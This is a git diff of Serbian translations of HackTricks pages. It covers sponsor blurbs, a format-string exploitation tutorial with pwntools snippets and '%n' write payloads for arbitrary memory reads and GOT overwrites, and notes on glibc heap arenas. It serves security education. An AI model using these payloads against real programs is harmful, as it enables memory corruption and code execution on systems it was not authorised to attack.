Translated ['README.md', 'binary-exploitation/format-strings/README.md',
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 4.1 KiB |
Before Width: | Height: | Size: 4.1 KiB After Width: | Height: | Size: 131 KiB |
Before Width: | Height: | Size: 131 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 82 KiB |
Before Width: | Height: | Size: 82 KiB After Width: | Height: | Size: 107 KiB |
29
README.md
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
_Hacktricks logotipi i animacija dizajnirani od_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
_Hacktricks logotipi i animacija od_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
**Dobrodošli u wiki gde ćete pronaći svaku hacking trik/tehniku/šta god da sam naučio iz CTF-ova, aplikacija iz stvarnog života, čitajući istraživanja i vesti.**
|
**Dobrodošli u wiki gde ćete pronaći svaku hacking trik/tehniku/šta god da sam naučio iz CTF-ova, aplikacija iz stvarnog života, čitajući istraživanja i vesti.**
|
||||||
|
@ -32,7 +32,7 @@ Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blo
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com) je najrelevantnija manifestacija sajber bezbednosti u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto okupljanja za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
|
[**RootedCON**](https://www.rootedcon.com) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto okupljanja za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
@ -65,13 +65,13 @@ Pribavite pristup danas:
|
||||||
|
|
||||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (50).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na bugove!
|
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na bugove!
|
||||||
|
|
||||||
* **Hacking uvidi:** Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hackinga
|
* **Hacking uvidi:** Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hackinga
|
||||||
* **Vesti o hakovanju u realnom vremenu:** Budite u toku sa brzim svetom hackinga kroz vesti i uvide u realnom vremenu
|
* **Vesti o hakovanju u realnom vremenu:** Budite u toku sa brzim svetom hackinga kroz vesti i uvide u realnom vremenu
|
||||||
* **Najnovija obaveštenja:** Budite informisani o najnovijim nagradama za bugove i važnim ažuriranjima platforme
|
* **Najnovija obaveštenja:** Budite informisani o najnovijim bug bounty nagradama i važnim ažuriranjima platforme
|
||||||
|
|
||||||
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||||||
|
|
||||||
|
@ -79,17 +79,14 @@ Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
|
||||||
|
|
||||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Osnovni alat za penetraciono testiranje
|
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Osnovni alat za penetraciono testiranje
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Dobijte perspektivu hakera na vaše web aplikacije, mrežu i cloud**
|
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu**
|
||||||
|
|
||||||
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploite za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
|
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
||||||
{% endembed %}
|
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
### [SerpApi](https://serpapi.com/)
|
### [SerpApi](https://serpapi.com/)
|
||||||
|
@ -98,11 +95,11 @@ Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
|
||||||
|
|
||||||
**SerpApi** nudi brze i lake API-je u realnom vremenu za **pristup rezultatima pretraživača**. Oni sakupljaju podatke sa pretraživača, upravljaju proxy-ima, rešavaju captcha izazove i analiziraju sve bogate strukturirane podatke za vas.
|
**SerpApi** nudi brze i lake API-je u realnom vremenu za **pristup rezultatima pretraživača**. Oni sakupljaju podatke sa pretraživača, upravljaju proxy-ima, rešavaju captcha izazove i analiziraju sve bogate strukturirane podatke za vas.
|
||||||
|
|
||||||
Pretplata na jedan od SerpApi planova uključuje pristup više od 50 različitih API-ja za sakupljanje podataka sa različitih pretraživača, uključujući Google, Bing, Baidu, Yahoo, Yandex i druge.\
|
Pretplata na jedan od planova SerpApi uključuje pristup više od 50 različitih API-ja za sakupljanje podataka sa različitih pretraživača, uključujući Google, Bing, Baidu, Yahoo, Yandex i druge.\
|
||||||
Za razliku od drugih provajdera, **SerpApi ne sakuplja samo organske rezultate**. SerpApi odgovori dosledno uključuju sve oglase, inline slike i video zapise, znanje grafove i druge elemente i funkcije prisutne u rezultatima pretrage.
|
Za razliku od drugih provajdera, **SerpApi ne sakuplja samo organske rezultate**. Odgovori SerpApi dosledno uključuju sve oglase, inline slike i video zapise, znanje grafove i druge elemente i funkcije prisutne u rezultatima pretrage.
|
||||||
|
|
||||||
Trenutni klijenti SerpApi uključuju **Apple, Shopify i GrubHub**.\
|
Trenutni klijenti SerpApi uključuju **Apple, Shopify i GrubHub**.\
|
||||||
Za više informacija pogledajte njihov [**blog**](https://serpapi.com/blog/)**,** ili isprobajte primer u njihovom [**playground**](https://serpapi.com/playground)**.**\
|
Za više informacija pogledajte njihov [**blog**](https://serpapi.com/blog/)**,** ili isprobajte primer u njihovom [**playground-u**](https://serpapi.com/playground)**.**\
|
||||||
Možete **napraviti besplatan nalog** [**ovde**](https://serpapi.com/users/sign\_up)**.**
|
Možete **napraviti besplatan nalog** [**ovde**](https://serpapi.com/users/sign\_up)**.**
|
||||||
|
|
||||||
***
|
***
|
||||||
|
@ -111,11 +108,11 @@ Možete **napraviti besplatan nalog** [**ovde**](https://serpapi.com/users/sign\
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**WebSec**](https://websec.nl) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže **zaštiti** preduzeća **široko u svetu** od najnovijih pretnji u oblasti sajber bezbednosti pružajući **usluge ofanzivne bezbednosti** sa **modernim** pristupom.
|
[**WebSec**](https://websec.nl) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže u **zaštiti** preduzeća **široko po svetu** od najnovijih pretnji u oblasti sajber bezbednosti pružajući **usluge ofanzivne bezbednosti** sa **modernim** pristupom.
|
||||||
|
|
||||||
WebSec je **sve-u-jednom bezbednosna kompanija** što znači da rade sve; Pentesting, **Sigurnosne** revizije, Obuke o svesti, Phishing kampanje, Revizija koda, Razvoj eksploita, Outsourcing sigurnosnih stručnjaka i još mnogo toga.
|
WebSec je **sve-u-jednom bezbednosna kompanija** što znači da rade sve; Pentesting, **Sigurnosne** revizije, Obuke o svesti, Phishing kampanje, Revizija koda, Razvoj eksploata, Outsourcing stručnjaka za bezbednost i još mnogo toga.
|
||||||
|
|
||||||
Još jedna zanimljiva stvar o WebSec-u je da, za razliku od proseka u industriji, WebSec je **veoma siguran u svoje veštine**, do te mere da **garantuje najbolje kvalitetne rezultate**, kako stoji na njihovom sajtu "**Ako ne možemo da hakujemo, ne plaćate!**". Za više informacija pogledajte njihov [**sajt**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)!
|
Još jedna zanimljiva stvar o WebSec-u je da, za razliku od industrijskog proseka, WebSec je **veoma siguran u svoje veštine**, do te mere da **garantuje najbolje kvalitetne rezultate**, kako stoji na njihovom sajtu "**Ako ne možemo da hakujemo, ne plaćate!**". Za više informacija pogledajte njihov [**sajt**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)!
|
||||||
|
|
||||||
Pored navedenog, WebSec je takođe **posvećen podržavalac HackTricks.**
|
Pored navedenog, WebSec je takođe **posvećen podržavalac HackTricks.**
|
||||||
|
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||||
|
|
||||||
|
@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
||||||
|
|
||||||
## Basic Information
|
## Basic Information
|
||||||
|
|
||||||
U C **`printf`** je funkcija koja se može koristiti za **štampanje** nekog stringa. **Prvi parametar** koji ova funkcija očekuje je **sirovi tekst sa formatima**. **Sledeći parametri** koji se očekuju su **vrednosti** za **zamenu** **formatera** iz sirovog teksta.
|
U C **`printf`** je funkcija koja se može koristiti za **štampanje** nekog stringa. **Prvi parametar** koji ova funkcija očekuje je **sirovi tekst sa formatima**. **Sledeći parametri** koji se očekuju su **vrednosti** za **zamenu** **formata** iz sirovog teksta.
|
||||||
|
|
||||||
Druge ranjive funkcije su **`sprintf()`** i **`fprintf()`**.
|
Druge ranjive funkcije su **`sprintf()`** i **`fprintf()`**.
|
||||||
|
|
||||||
|
@ -70,7 +70,7 @@ fclose(output_file);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### **Pristupanje pokazivačima**
|
### **Pristupanje Pokazivačima**
|
||||||
|
|
||||||
Format **`%<n>$x`**, gde je `n` broj, omogućava da se printf-u naznači da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate 4. parametar sa steka koristeći printf, mogli biste to uraditi:
|
Format **`%<n>$x`**, gde je `n` broj, omogućava da se printf-u naznači da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate 4. parametar sa steka koristeći printf, mogli biste to uraditi:
|
||||||
```c
|
```c
|
||||||
|
@ -82,9 +82,9 @@ printf("%x %x %x %x")
|
||||||
```c
|
```c
|
||||||
printf("%4$x")
|
printf("%4$x")
|
||||||
```
|
```
|
||||||
и читајте директно четврту.
|
и директно прочитати четврту.
|
||||||
|
|
||||||
Обратите пажњу да нападач контролише `printf` **параметар, што у основи значи да** ће његов унос бити у стеку када се позове `printf`, што значи да би могао да запише специфичне адресе у меморији у стеку.
|
Обратите пажњу да нападач контролише `printf` **параметар, што у основи значи да** ће његов унос бити у стеку када се позове `printf`, што значи да може написати специфичне адресе у меморији у стеку.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Нападач који контролише овај унос, моћи ће да **дода произвољну адресу у стек и натера `printf` да им приступи**. У следећем одељку биће објашњено како користити ово понашање.
|
Нападач који контролише овај унос, моћи ће да **дода произвољну адресу у стек и натера `printf` да им приступи**. У следећем одељку биће објашњено како користити ово понашање.
|
||||||
|
@ -92,7 +92,7 @@ printf("%4$x")
|
||||||
|
|
||||||
## **Произвољно Читање**
|
## **Произвољно Читање**
|
||||||
|
|
||||||
Могуће је користити форматор **`%n$s`** да натера **`printf`** да добије **адресу** смештену у **n позицији**, следећи је и **одштампа као да је то стринг** (одштампа до 0x00). Дакле, ако је базна адреса бинарног фајла **`0x8048000`**, и знамо да кориснички унос почиње у 4. позицији у стеку, могуће је одштампати почетак бинарног фајла са:
|
Могуће је користити форматор **`%n$s`** да натера **`printf`** да добије **адресу** која се налази на **n позицији**, следећи је и **одштампати као да је то стринг** (одштампај до 0x00). Дакле, ако је базна адреса бинарног фајла **`0x8048000`**, и знамо да кориснички унос почиње на 4. позицији у стеку, могуће је одштампати почетак бинарног фајла са:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -106,7 +106,7 @@ p.sendline(payload)
|
||||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Napomena da ne možete staviti adresu 0x8048000 na početak ulaza jer će string biti prekinut u 0x00 na kraju te adrese.
|
Napomena da ne možete staviti adresu 0x8048000 na početak ulaza jer će se string završiti sa 0x00 na kraju te adrese.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Pronađi offset
|
### Pronađi offset
|
||||||
|
@ -150,21 +150,21 @@ p.close()
|
||||||
|
|
||||||
Arbitrarna čitanja mogu biti korisna za:
|
Arbitrarna čitanja mogu biti korisna za:
|
||||||
|
|
||||||
* **Dump** **binarne** datoteke iz memorije
|
* **Ispis** **binarne** datoteke iz memorije
|
||||||
* **Pristup specifičnim delovima memorije gde je smeštena** **osetljiva** **informacija** (kao što su kanari, ključevi za enkripciju ili prilagođene lozinke kao u ovom [**CTF izazovu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
* **Pristup specifičnim delovima memorije gde je smeštena** **osetljiva** **informacija** (kao što su kanari, ključevi za enkripciju ili prilagođene lozinke kao u ovom [**CTF izazovu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||||
|
|
||||||
## **Arbitrarno Pisanje**
|
## **Arbitrarno pisanje**
|
||||||
|
|
||||||
Formatirac **`%<num>$n`** **piše** **broj napisanih bajtova** u **naznačenu adresu** u \<num> parametru na steku. Ako napadač može da piše onoliko karaktera koliko želi sa printf, moći će da napravi **`%<num>$n`** da piše proizvoljan broj na proizvoljnu adresu.
|
Formatirnik **`%<num>$n`** **piše** **broj napisanih bajtova** u **naznačenu adresu** u \<num> parametru na steku. Ako napadač može da piše onoliko karaktera koliko želi sa printf, moći će da napravi da **`%<num>$n`** piše proizvoljan broj na proizvoljnu adresu.
|
||||||
|
|
||||||
Na sreću, da bi se napisao broj 9999, nije potrebno dodavati 9999 "A" u ulaz, da bi se to postiglo moguće je koristiti formatirac **`%.<num-write>%<num>$n`** da bi se napisao broj **`<num-write>`** u **adresu koju pokazuje `num` pozicija**.
|
Na sreću, da bi se napisao broj 9999, nije potrebno dodavati 9999 "A" u ulaz, da bi se to postiglo moguće je koristiti formatirnik **`%.<num-write>%<num>$n`** da bi se napisao broj **`<num-write>`** u **adresu na koju ukazuje `num` pozicija**.
|
||||||
```bash
|
```bash
|
||||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||||
AAAA.%500\$08x —> Param at offset 500
|
AAAA.%500\$08x —> Param at offset 500
|
||||||
```
|
```
|
||||||
Međutim, imajte na umu da se obično za pisanje adrese kao što je `0x08049724` (što je OGROMAN broj za pisanje odjednom), **koristi `$hn`** umesto `$n`. To omogućava da **se napiše samo 2 Bajte**. Stoga se ova operacija vrši dva puta, jednom za najviših 2B adrese i drugi put za najniže.
|
Međutim, imajte na umu da se obično za pisanje adrese kao što je `0x08049724` (što je OGROMAN broj za pisanje odjednom), **koristi `$hn`** umesto `$n`. Ovo omogućava da **se napiše samo 2 Bajte**. Stoga se ova operacija vrši dva puta, jednom za najviših 2B adrese i drugi put za najniže.
|
||||||
|
|
||||||
Zbog toga, ova ranjivost omogućava **pisanje bilo čega na bilo kojoj adresi (arbitrarno pisanje).**
|
Stoga, ova ranjivost omogućava **pisanje bilo čega na bilo kojoj adresi (arbitrarno pisanje).**
|
||||||
|
|
||||||
U ovom primeru, cilj će biti da se **prepiše** **adresa** **funkcije** u **GOT** tabeli koja će biti pozvana kasnije. Iako bi ovo moglo zloupotrebiti druge tehnike arbitrarno pisanje za izvršavanje:
|
U ovom primeru, cilj će biti da se **prepiše** **adresa** **funkcije** u **GOT** tabeli koja će biti pozvana kasnije. Iako bi ovo moglo zloupotrebiti druge tehnike arbitrarno pisanje za izvršavanje:
|
||||||
|
|
||||||
|
@ -231,13 +231,13 @@ Moguće je zloupotrebiti akcije pisanja ranjivosti format string-a da se **piše
|
||||||
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
|
||||||
* 32 bita, bez relro, bez kanarija, nx, bez pie, osnovna upotreba format string-a za curenje zastavice iz steka (nije potrebno menjati tok izvršenja)
|
* 32 bita, bez relro, bez kanarija, nx, bez pie, osnovna upotreba format string-a za leak flag-a iz steka (nije potrebno menjati tok izvršenja)
|
||||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||||
* 32 bita, relro, bez kanarija, nx, bez pie, format string za prepisivanje adrese `fflush` sa funkcijom win (ret2win)
|
* 32 bita, relro, bez kanarija, nx, bez pie, format string za prepisivanje adrese `fflush` sa win funkcijom (ret2win)
|
||||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||||
* 32 bita, relro, bez kanarija, nx, bez pie, format string za pisanje adrese unutar main u `.fini_array` (tako da se tok ponovo vrati još jednom) i pisanje adrese u `system` u GOT tabeli koja pokazuje na `strlen`. Kada se tok vrati u main, `strlen` se izvršava sa korisničkim unosom i pokazuje na `system`, izvršiće prosleđene komande.
|
* 32 bita, relro, bez kanarija, nx, bez pie, format string za pisanje adrese unutar main u `.fini_array` (tako da se tok vraća još jednom) i pisanje adrese za `system` u GOT tabeli koja pokazuje na `strlen`. Kada se tok vrati u main, `strlen` se izvršava sa korisničkim unosom i pokazuje na `system`, izvršiće prosleđene komande.
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hacking karijeru** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **hacking karijeru** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
|
|
|
@ -10,7 +10,7 @@ Kao što je prikazano, to je odmah nakon što se binarni fajl učita u memoriju
|
||||||
|
|
||||||
### Basic Chunk Allocation
|
### Basic Chunk Allocation
|
||||||
|
|
||||||
Kada se zatraže neki podaci da budu smešteni u heap, određeni deo heap-a se alocira za njih. Ovaj prostor će pripadati bini i samo će zatraženi podaci + prostor bin zaglavlja + minimalni bin veličinski offset biti rezervisani za chunk. Cilj je da se rezerviše što manje memorije bez otežavanja pronalaženja gde se svaki chunk nalazi. Za ovo se koristi informacija o metapodacima chunk-a da bi se znalo gde se svaki korišćeni/slobodni chunk nalazi.
|
Kada se zatraže neki podaci da budu smešteni u heap, određeni deo heap-a se alocira za njih. Ovaj prostor će pripadati bini i samo će zatraženi podaci + prostor za zaglavlja bina + minimalni offset veličine bina biti rezervisani za chunk. Cilj je da se rezerviše što manje memorije bez komplikovanja pronalaženja gde se svaki chunk nalazi. Za to se koristi informacija o metapodacima chunk-a da se zna gde se svaki korišćeni/slobodni chunk nalazi.
|
||||||
|
|
||||||
Postoje različiti načini za rezervaciju prostora, uglavnom zavisno od korišćenog bina, ali opšta metodologija je sledeća:
|
Postoje različiti načini za rezervaciju prostora, uglavnom zavisno od korišćenog bina, ali opšta metodologija je sledeća:
|
||||||
|
|
||||||
|
@ -18,18 +18,18 @@ Postoje različiti načini za rezervaciju prostora, uglavnom zavisno od korišć
|
||||||
* Ako u listi chunk-ova postoji neki dostupan dovoljno veliki da ispuni zahtev, biće korišćen.
|
* Ako u listi chunk-ova postoji neki dostupan dovoljno veliki da ispuni zahtev, biće korišćen.
|
||||||
* Ovo može čak značiti da će deo dostupnog chunk-a biti korišćen za ovaj zahtev, a ostatak će biti dodat u listu chunk-ova.
|
* Ovo može čak značiti da će deo dostupnog chunk-a biti korišćen za ovaj zahtev, a ostatak će biti dodat u listu chunk-ova.
|
||||||
* Ako u listi nema dostupnog chunk-a, ali još uvek ima prostora u alociranoj heap memoriji, menadžer heap-a kreira novi chunk.
|
* Ako u listi nema dostupnog chunk-a, ali još uvek ima prostora u alociranoj heap memoriji, menadžer heap-a kreira novi chunk.
|
||||||
* Ako nema dovoljno heap prostora za alokaciju novog chunk-a, menadžer heap-a traži od kernela da proširi memoriju alociranu za heap i zatim koristi ovu memoriju za generisanje novog chunk-a.
|
* Ako nema dovoljno prostora u heap-u da se alocira novi chunk, menadžer heap-a traži od kernela da proširi memoriju alociranu za heap i zatim koristi ovu memoriju za generisanje novog chunk-a.
|
||||||
* Ako sve ne uspe, `malloc` vraća null.
|
* Ako sve ne uspe, `malloc` vraća null.
|
||||||
|
|
||||||
Napomena: ako zatražena **memorija pređe prag**, **`mmap`** će biti korišćen za mapiranje zatražene memorije.
|
Napomena: ako zatražena **memorija pređe prag**, **`mmap`** će biti korišćen za mapiranje zatražene memorije.
|
||||||
|
|
||||||
## Arenas
|
## Arenas
|
||||||
|
|
||||||
U **multithreaded** aplikacijama, menadžer heap-a mora sprečiti **race conditions** koje bi mogle dovesti do rušenja. U početku, ovo je rađeno korišćenjem **globalnog mutex-a** kako bi se osiguralo da samo jedna nit može pristupiti heap-u u isto vreme, ali to je izazvalo **probleme sa performansama** zbog uskog grla izazvanog mutex-om.
|
U **multithreaded** aplikacijama, menadžer heap-a mora sprečiti **race conditions** koje bi mogle dovesti do rušenja. U početku, to je rađeno korišćenjem **globalnog mutex-a** kako bi se osiguralo da samo jedna nit može pristupiti heap-u u isto vreme, ali to je izazvalo **probleme sa performansama** zbog uskog grla izazvanog mutex-om.
|
||||||
|
|
||||||
Da bi se to rešilo, ptmalloc2 alokator heap-a je uveo "arene", gde **svaka arena** deluje kao **odvojeni heap** sa svojim **vlastitim** podacima **strukture** i **mutex-om**, omogućavajući više niti da obavljaju operacije na heap-u bez ometanja jedna druge, sve dok koriste različite arene.
|
Da bi se to rešilo, ptmalloc2 alokator heap-a je uveo "arene", gde **svaka arena** deluje kao **odvojeni heap** sa svojim **vlastitim** podacima **strukture** i **mutex-om**, omogućavajući više niti da obavljaju operacije na heap-u bez ometanja jedna druge, sve dok koriste različite arene.
|
||||||
|
|
||||||
Podrazumevana "glavna" arena upravlja operacijama na heap-u za aplikacije sa jednom niti. Kada se **nove niti** dodaju, menadžer heap-a im dodeljuje **sekundarne arene** kako bi smanjio sukobe. Prvo pokušava da poveže svaku novu nit sa neiskorišćenom arenom, kreirajući nove ako je potrebno, do limita od 2 puta broj CPU jezgara za 32-bitne sisteme i 8 puta za 64-bitne sisteme. Kada se dostigne limit, **niti moraju deliti arene**, što dovodi do potencijalnog sukoba.
|
Podrazumevana "glavna" arena upravlja operacijama na heap-u za aplikacije sa jednom niti. Kada se **nove niti** dodaju, menadžer heap-a im dodeljuje **sekundarne arene** kako bi smanjio sukobe. Prvo pokušava da poveže svaku novu nit sa neiskorišćenom arenom, kreirajući nove ako je potrebno, do limita od 2 puta broj CPU jezgara za 32-bitne sisteme i 8 puta za 64-bitne sisteme. Kada se dostigne limit, **niti moraju deliti arene**, što može dovesti do potencijalnih sukoba.
|
||||||
|
|
||||||
Za razliku od glavne arene, koja se širi korišćenjem `brk` sistemskog poziva, sekundarne arene kreiraju "subheaps" koristeći `mmap` i `mprotect` kako bi simulirale ponašanje heap-a, omogućavajući fleksibilnost u upravljanju memorijom za multithreaded operacije.
|
Za razliku od glavne arene, koja se širi korišćenjem `brk` sistemskog poziva, sekundarne arene kreiraju "subheaps" koristeći `mmap` i `mprotect` kako bi simulirale ponašanje heap-a, omogućavajući fleksibilnost u upravljanju memorijom za multithreaded operacije.
|
||||||
|
|
||||||
|
@ -42,11 +42,11 @@ Subheaps služe kao rezerve memorije za sekundarne arene u multithreaded aplikac
|
||||||
* Subheaps, koje koriste sekundarne arene, kreiraju se putem `mmap`, sistemskog poziva koji mapira određeni memorijski region.
|
* Subheaps, koje koriste sekundarne arene, kreiraju se putem `mmap`, sistemskog poziva koji mapira određeni memorijski region.
|
||||||
2. **Rezervacija Memorije sa `mmap`**:
|
2. **Rezervacija Memorije sa `mmap`**:
|
||||||
* Kada menadžer heap-a kreira subheap, rezerviše veliki blok memorije putem `mmap`. Ova rezervacija ne alocira memoriju odmah; jednostavno označava region koji drugi sistemski procesi ili alokacije ne bi trebali koristiti.
|
* Kada menadžer heap-a kreira subheap, rezerviše veliki blok memorije putem `mmap`. Ova rezervacija ne alocira memoriju odmah; jednostavno označava region koji drugi sistemski procesi ili alokacije ne bi trebali koristiti.
|
||||||
* Podrazumevana veličina rezervisane subheap memorije je 1 MB za 32-bitne procese i 64 MB za 64-bitne procese.
|
* Podrazumevana veličina rezervisana za subheap je 1 MB za 32-bitne procese i 64 MB za 64-bitne procese.
|
||||||
3. **Postepeno Širenje sa `mprotect`**:
|
